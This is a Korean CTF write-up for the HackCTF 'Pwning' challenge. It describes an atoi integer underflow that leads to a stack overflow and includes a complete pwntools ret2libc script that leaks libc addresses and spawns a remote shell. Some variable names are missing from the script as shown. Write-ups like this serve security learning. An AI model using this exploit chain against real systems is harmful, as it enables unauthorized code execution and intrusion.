HACKCTF - Pwning

2020. 8. 23. 20:38CTF's Write-up

문제 화면

 

해당 nc에 접속하면

접속화면

 

몇바이트를 입력 받을지 받은 다음, 해당하는 글자 수 만큼 입력을 받는 것을 볼 수 있습니다.

해당 부분을 ida로 확인해보면

 

ida main
ida vuln

 

취약한 부분이라고 나오는데 get_n 으로 <-- 재정의된함수 

입력을 받고 32보다 작으면 그 다음동작이 실행되는군요. 근데  nptr을 atoi하기에 음수를 넣어서 underflow취약점을 발생시킬 수 있습니다. 사진을 보면 이해가 빠르실거에요

 

 

실행 화면

 

4294967295 만큼 수신한다고 되어있죠? 이렇게 하면 내가 원하는 만큼 입력을 할 수 있고, 마츰 12번째줄에 nptr을 한번 더 받는데 여기서 bof가 일어날 수 있겠군요.

 

그 후에 익스플로잇 과정은 전과 똑같습니다 릭해서 주소 구하고 libc찾아서 system, binsh해주면 되겠네요.

다만 이번문제에서 약간 다른점은 libc를 주지 않기에 직접 찾아야합니다.

https://libc.blukat.me/해당사이트에서 libc를 찾기위해 atoi_got의 위치과, printf_gof의 위치 두가지를 찾아서 입력해서 libc를 찾았습니다.

 

 

libc

 

해당 libc를 불러와서 exploit코드를 작성합니다.

아래는 코드입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3019)
= ELF("./pwning")
= ELF("./libc6-i386_2.23-0ubuntu10_amd64.so")
context.log_level = "debug"
 
r.recvuntil("? ")
r.sendline("-1")
 
printf_got = e.got["printf"]
printf_plt = e.plt["printf"]
atoi_got = e.got["atoi"]
printf_offset = l.symbols['printf']
sysyem_offset = l.symbols['system']
binsh_offset = next(l.search('/bin/sh'))
 
 
vuln = 0x0804852F
 
payload = ""
payload += "A"*0x2c + "A"*0x4
payload += p32(printf_plt)
payload += p32(vuln)
#payload += p32(atoi_got)
payload += p32(printf_got)
 
r.recvuntil("data!\n")
r.sendline(payload)
 
r.recvuntil("\n")
log.info("now i'll get leak address")
leak = r.recv(4)
printf_add = u32(leak)
 
 
base_add = printf_add - printf_offset
binsh_add = base_add + binsh_offset
system_add = base_add + sysyem_offset
log.info("printf_add = " + hex(printf_add))
log.info("base_add = " + hex(base_add))
log.info("binsh_add = " + hex(binsh_add))
log.info("system_add = " + hex(system_add))
 
 
r.recvuntil("? ")
r.sendline("-1")
 
payload2 = ""
payload2 += "A"*0x2c + "A"*0x4
payload2 += p32(system_add)
payload2 += "A"*0x4
payload2 += p32(binsh_add)
 
r.recvuntil("data!\n")
r.sendline(payload2)
 
 
r.interactive()
cs

 

이 코드를 실행하게되면

 

실행화면

 

이렇게 flag를 획득할 수 있습니다 (grin)

처음에 underflow취약점 찾는데 시간이 조금 걸려서 어떻게 익스해야하나 생각했는데.

찾고나니까 빠르게 풀 수 있어서 좋았네요 ㅎ

'CTF's Write-up' 카테고리의 다른 글

DreamHack - basic_exploitation_001  (0) 2020.08.24
Dreamhack - master_canary  (0) 2020.08.24
DreamHack - rev-basic-8  (0) 2020.08.17
HACKCTF - RTL_World  (0) 2020.08.16
HACKCTF - g++ pwn  (0) 2020.08.14